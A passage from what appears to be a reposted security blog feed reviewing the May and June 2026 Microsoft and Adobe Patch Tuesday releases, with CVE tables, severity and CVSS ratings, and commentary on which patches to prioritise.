CVE-2026-40369 Windows Kernel Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34332 Windows Kernel-Mode Driver Remote Code Execution Vulnerability Important 8 No No RCE
CVE-2026-34339 Windows Lightweight Directory Access Protocol (LDAP) Denial of Service Vulnerability Important 5.5 No No DoS
CVE-2026-34341 Windows Link-Layer Discovery Protocol (LLDP) Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-33838 Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34342 Windows Print Spooler Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-41095 Windows Projected File System Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34340 Windows Projected File System Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-40398 Windows Remote Desktop Services Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-21530 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-32170 Windows Rich Text Edit Elevation of Privilege Vulnerability Important 6.7 No No EoP
CVE-2026-40410 Windows SMB Client Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35415 Windows Storage Spaces Controller Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34350 Windows Storport Miniport Driver Denial of Service Vulnerability Important 6.5 No No DoS
CVE-2026-40405 Windows TCP/IP Denial of Service Vulnerability Important 7.5 No No DoS
CVE-2026-40414 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-40401 Windows TCP/IP Denial of Service Vulnerability Important 6.2 No No DoS
CVE-2026-40413 Windows TCP/IP Denial of Service Vulnerability Important 7.4 No No DoS
CVE-2026-35422 Windows TCP/IP Driver Security Feature Bypass Vulnerability Important 6.5 No No SFB
CVE-2026-34351 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40399 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34334 Windows TCP/IP Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40406 Windows TCP/IP Information Disclosure Vulnerability Important 7.5 No No Info
CVE-2026-33837 Windows TCP/IP Local Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40415 Windows TCP/IP Remote Code Execution Vulnerability Important 8.1 No No RCE
CVE-2026-42825 Windows Telephony Service Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-34338 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40382 Windows Telephony Service Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-40380 Windows Volume Manager Extension Driver Remote Code Execution Vulnerability Important 6.2 No No RCE
CVE-2026-40408 Windows WAN ARP Driver Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34333 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-34347 Windows Win32k Elevation of Privilege Vulnerability Important 7 No No EoP
CVE-2026-35417 Windows Win32k Elevation of Privilege Vulnerability Important 7.8 No No EoP
CVE-2026-42891 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 6.5 No No Spoofing
CVE-2026-35429 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Moderate 4.3 No No Spoofing
CVE-2026-41107 Microsoft Edge (Chromium-based) Information Disclosure Vulnerability Moderate 7.4 No No Info
CVE-2026-40416 Microsoft Edge (Chromium-based) for Android Spoofing Vulnerability Low 4.3 No No Spoofing

* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.

† Indicates further administrative actions are required to fully address the vulnerability.

 

Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira & Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.

Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.

As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.

This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption. Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook. On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.

Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.

The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI.

There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.

There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.

No new advisories are being released this month.

Looking Ahead

Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

]]> <![CDATA[The June 2026 Security Update Review]]> https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ https://tsecurity.de/de/3694563/hacking/the-june-2026-security-update-review/ Sat, 25 Jul 2026 19:02:53 +0200 đŸ•”ïž Hacking tsecurity.de I’ve made it through Pwn2Own Berlin, had a little vacation, and now I’m back for Patch Tuesday. Microsoft and Adobe didn’t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. If you’d rather watch the full video recap covering the entire release, you can check it out here:

Adobe Patches for June 2026

For June, Adobe released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic. A total of 11 of these CVEs were reported through the ZDI program.

Here’s this month’s overview table:

Bulletin ID Product CVE Count Highest Severity Highest CVSS Exploited Deployment Priority
APSB26-66 Adobe Campaign Classic 2 Critical 10.0 No 1
APSB26-64 Adobe ColdFusion 7 Critical 9.6 No 1
APSB26-63 Adobe Acrobat Reader 20 Critical 7.8 No 2
APSB26-57 Adobe Experience Manager Forms 3 Critical 9.3 No 2
APSB26-62 Adobe Dreamweaver 5 Critical 8.6 No 3
APSB26-65 Adobe Format Plugins 2 Critical 7.8 No 3
APSB26-59 Adobe InCopy 3 Critical 7.8 No 3
APSB26-58 Adobe InDesign 12 Critical 7.8 No 3
APSB26-60 Adobe Substance 3D Sampler 4 Critical 7.8 No 3
APSB26-61 Content Credentials SDK 8 Critical 7.5 No 3
APSB26-56 Adobe Experience Manager 57 Important 5.4 No 3
TOTAL 11 bulletins 123

Obviously, the update for Campaign Classic should be on the top of your deployment list if you’re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it’s mostly just cross-site scripting (XSS) bugs.

Microsoft Patches for June 2026

This month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that’s my count. Microsoft’s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.

One of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.

I’ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW – just a note – the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.

One of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let’s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.

-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege Vulnerability
Since Microsoft doesn’t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won’t need to take action as Defender updates itself. However, if you don’t have this configured or are in an isolated environment, you’ll need to update to the latest version.

-    CVE-2026-45657 - Windows Kernel Remote Code Execution Vulnerability
This CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup – this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as “Exploitation Less Likely” by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.

-    CVE-2026-47291 - HTTP.sys Remote Code Execution Vulnerability
Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.

-    CVE-2026-44815 - DHCP Client Service Remote Code Execution Vulnerability
Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.

-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass Vulnerability
If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “bone shattering” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.

 Here’s the full list of CVEs released by Microsoft for June 2026:

<![if supportMisalignedColumns]> <![endif]>
CVE Title Severity CVSS Public Exploited XI Type
CVE-2026-41091 Microsoft Defender Elevation of Privilege Vulnerability Important 7.8 Yes Yes 0 EoP
CVE-2026-49160 HTTP.sys Denial of Service Vulnerability Important 7.5 Yes No 1 DoS
CVE-2026-50507 Windows BitLocker Security Feature Bypass Vulnerability Important 6.8 Yes No 1 SFB
CVE-2026-45586 Windows Collaborative Translation Framework (CTFMON) Elevation of Privilege Vulnerability Important 7.8 Yes No 1 EoP
CVE-2025-10263 * ARM: CVE-2025-10263 Completion of affected memory accesses might not be guaranteed by completion of a TLBI [kernel] Critical 9.3 No No 2 EoP
CVE-2026-48567 Azure HorizonDB Elevation of Privilege Vulnerability Critical 10 No No N/A EoP
CVE-2026-32193 Azure Kubernetes Service (AKS) Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-47644 Copilot Chat (Microsoft Edge) Information Disclosure Vulnerability Critical 6.5 No No 2 Info
CVE-2026-44815 DHCP Client Service Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47291 HTTP.sys Remote Code Execution Vulnerability Critical 9.8 No No 1 RCE
CVE-2026-42824 M365 Copilot Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45476 Microsoft Azure Network Adapter Elevation of Privilege Vulnerability Critical 8.2 No No 2 EoP
CVE-2026-44810 Microsoft Cryptographic Services Elevation of Privilege Vulnerability Critical 8.4 No No 2 EoP
CVE-2026-48579 Microsoft Exchange Online Information Disclosure Vulnerability Critical 9.1 No No N/A Info
CVE-2026-47655 Microsoft Graph Information Disclosure Vulnerability Critical 6.5 No No N/A Info
CVE-2026-45497 Microsoft M365 Copilot Remote Code Execution Vulnerability Critical 7.7 No No N/A RCE
CVE-2026-45460 Microsoft Office Information Disclosure Vulnerability Critical 4.7 No No 3 Info
CVE-2026-45472 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45474 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45461 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45463 Microsoft Office Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45456 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45458 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47635 Microsoft Outlook and Word Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-26142 Nuance PowerScribe Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-47289 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 2 RCE
CVE-2026-47654 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 3 RCE
CVE-2026-48563 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42992 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44799 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-44801 Remote Desktop Client Remote Code Execution Vulnerability Critical 7.5 No No 2 RCE
CVE-2026-42985 Remote Desktop Client Remote Code Execution Vulnerability Critical 8.8 No No 1 RCE
CVE-2026-45648 Windows Active Directory Domain Services Remote Code Execution Vulnerability Critical 8.8 No No 3 RCE
CVE-2026-42987 Windows Deployment Services (WDS) Remote Code Execution Critical 8.1 No No 2 RCE
CVE-2026-33828 Windows Device Health Attestation (DHA) Elevation of Privilege Vulnerability Critical 7.8 No No 3 EoP
CVE-2026-44803 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-44812 Windows Graphics Component Remote Code Execution Vulnerability Critical 7.8 No No 1 RCE
CVE-2026-45607 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-45641 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.4 No No 2 RCE
CVE-2026-47652 Windows Hyper-V Remote Code Execution Vulnerability Critical 8.2 No No 2 RCE
CVE-2026-47288 Windows Kerberos Key Distribution Center (KDC) Remote Code Execution Critical 7.1 No No 3 RCE
CVE-2026-45657 Windows Kernel Remote Code Execution Vulnerability Critical 9.8 No No 2 RCE
CVE-2026-48574 Windows Media Remote Code Execution Vulnerability Critical 7.8 No No 2 RCE
CVE-2026-45490 .NET SDK Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45491 .NET Tampering Vulnerability Important 6.2 No No 3 Tampering
CVE-2026-45591 ASP.NET Core Denial of Service Vulnerability Important 7.5 No No 2 DoS
CVE-2026-47643 Azure Stack Edge Remote Code Execution Vulnerability Important 9.8 No No 3 RCE
CVE-2026-41098 Azure Stack Edge Spoofing Vulnerability Important 8.4 No No 2 Spoofing
CVE-2026-45642 Microsoft Azure Attestation service and Device Health Attestation Service Spoofing Vulnerability Important 3.9 No No 2 Spoofing
CVE-2026-45650 Microsoft Bing Search Spoofing Vulnerability Important 4.3 No No 2 Spoofing
CVE-2026-45637 Microsoft DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45647 Microsoft Defender for Endpoint for Mac Elevation of Privilege Vulnerability Important 5.5 No No 2 EoP
CVE-2026-40371 Microsoft Dynamics 365 (on-premises) Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-44822 Microsoft Excel Information Disclosure Vulnerability Important 8.2 No No 3 Info
CVE-2026-45455 Microsoft Excel Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-45469 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44817 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 3 RCE
CVE-2026-44818 Microsoft Excel Remote Code Execution Vulnerability Important 7 No No 2 RCE
CVE-2026-44820 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44823 Microsoft Excel Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45459 Microsoft Excel Security Feature Bypass Vulnerability Important 3.3 No No 2 SFB
CVE-2026-45504 Microsoft Exchange Server Elevation of Privilege Vulnerability Important 8.8 No No 3 EoP
CVE-2026-45502 Microsoft Exchange Server Information Disclosure Vulnerability Important 5 No No 3 Info
CVE-2026-45503 Microsoft Exchange Server Information Disclosure Vulnerability Important 8.1 No No 3 Info
CVE-2026-45583 Microsoft Exchange Server Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45500 Microsoft Exchange Server Spoofing Vulnerability Important 6.1 No No 2 Spoofing
CVE-2026-45501 Microsoft Exchange Server Spoofing Vulnerability Important 6.5 No No 2 Spoofing
CVE-2026-47631 Microsoft Exchange Server Spoofing Vulnerability Important 8.1 No No 2 Spoofing
CVE-2026-42986 Microsoft Graphics Component Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-41092 Microsoft Kinect Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45644 Microsoft Live Share Canvas SDK Elevation of Privilege Vulnerability Important 8 No No 2 EoP
CVE-2026-47293 Microsoft Office Click-To-Run Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45485 Microsoft Office Information Disclosure Vulnerability Important 3.3 No No 2 Info
CVE-2026-44821 Microsoft Office Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45483 Microsoft Office Project Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45475 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44819 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-44824 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45645 Microsoft Office Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-49161 Microsoft PC Manager Security Feature Bypass Vulnerability Important 7.8 No No 3 SFB
CVE-2026-42902 Microsoft PowerToys Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45484 Microsoft SharePoint Elevation of Privilege Vulnerability Important 8.8 No No 2 EoP
CVE-2026-45454 Microsoft SharePoint Remote Code Execution Vulnerability Important 6.5 No No 2 RCE
CVE-2026-47298 Microsoft SharePoint Server Remote Code Execution Vulnerability Important 8 No No 2 RCE
CVE-2026-45467 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45468 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45479 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45453 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47636 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47637 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47638 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-47639 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 3 Spoofing
CVE-2026-47641 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-33113 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45462 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-45464 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-45465 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-47634 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-47640 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 3 Spoofing
CVE-2026-45481 Microsoft SharePoint Server Spoofing Vulnerability Important 7.3 No No 1 Spoofing
CVE-2026-48560 Microsoft SharePoint Server Spoofing Vulnerability Important 5.4 No No 2 Spoofing
CVE-2026-48562 Microsoft SharePoint Server Spoofing Vulnerability Important 4.6 No No 2 Spoofing
CVE-2026-42835 Microsoft Teams for Android Information Disclosure Vulnerability Important 8.1 No No 2 Info
CVE-2026-45606 Microsoft UxTheme Library (uxtheme.dll) Denial of Service Vulnerability Important 5.5 No No 2 DoS
CVE-2026-45482 Microsoft Visual Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability Important 8.4 No No 2 SFB
CVE-2026-45466 Microsoft Word Information Disclosure Vulnerability Important 3.3 No No 3 Info
CVE-2026-45471 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45486 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45643 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-45457 Microsoft Word Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-42980 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-42916 NT OS Kernel Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45649 Office for Android Spoofing Vulnerability Important 7.1 No No 3 Spoofing
CVE-2026-47653 Remote Desktop Client Remote Code Execution Vulnerability Important 8.8 No No 3 RCE
CVE-2026-42909 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42913 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 3 RCE
CVE-2026-42993 Remote Desktop Client Remote Code Execution Vulnerability Important 7.5 No No 2 RCE
CVE-2026-45588 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48568 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48570 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48573 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48575 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48576 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-48578 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45654 Secure Boot Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-45656 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-8863 UEFI Secure Boot Security Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-40376 Visual Studio Code Elevation of Privilege Vulnerability Important 7.5 No No 2 EoP
CVE-2026-47281 Visual Studio Code Elevation of Privilege Vulnerability Important 9.6 No No 3 EoP
CVE-2026-47284 Visual Studio Code Information Disclosure Vulnerability Important 6.5 No No 2 Info
CVE-2026-47292 Visual Studio Code MSSQL Extension Remote Code Execution Vulnerability Important 7.8 No No 2 RCE
CVE-2026-48569 Visual Studio Code Security Feature Bypass Vulnerability Important 7.1 No No 2 SFB
CVE-2026-47287 Visual Studio Code Tampering Vulnerability Important 6.5 No No 2 Tampering
CVE-2026-42829 Windows Administrator Protection Secure Feature Bypass Vulnerability Important 7.8 No No 2 SFB
CVE-2026-34335 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-45601 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45598 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45596 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45638 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-45603 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42911 Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45594 Windows Application Identity (AppID) Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45655 Windows BitLocker Security Feature Bypass Vulnerability Important 5.3 No No 2 SFB
CVE-2026-45658 Windows BitLocker Security Feature Bypass Vulnerability Important 7.8 No No 1 SFB
CVE-2026-45640 Windows Bluetooth Port Driver Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-45605 Windows Bluetooth Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-47656 Windows Boot Manager Security Feature Bypass Vulnerability Important 7.9 No No 2 SFB
CVE-2026-44809 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important 7.8 No No 3 EoP
CVE-2026-45634 Windows DHCP Client Information Disclosure Vulnerability Important 5.5 No No 3 Info
CVE-2026-45608 Windows DHCP Client Information Disclosure Vulnerability Important 6.8 No No 3 Info
CVE-2026-41108 Windows DNS Client Elevation of Privilege Vulnerability Important 7 No No 3 EoP
CVE-2026-42905 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 1 EoP
CVE-2026-44811 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44808 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44807 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42983 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44802 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44813 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-44804 Windows DWM Core Library Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-48566 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-44814 Windows DWM Core Library Information Disclosure Vulnerability Important 5.5 No No 2 Info
CVE-2026-45602 Windows Dynamic Host Configuration Protocol (DHCP) Tampering Vulnerability Important 9.1 No No 2 Tampering
CVE-2026-42836 Windows Function Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability Important 7 No No 2 EoP
CVE-2026-42910 Windows Hotpatch Monitoring Service Elevation of Privilege Vulnerability Important 7.8 No No 2 EoP
CVE-2026-42972 Windows Hyper-V Information Disclosure Vulnerability Important 5.5 No No 2 Info
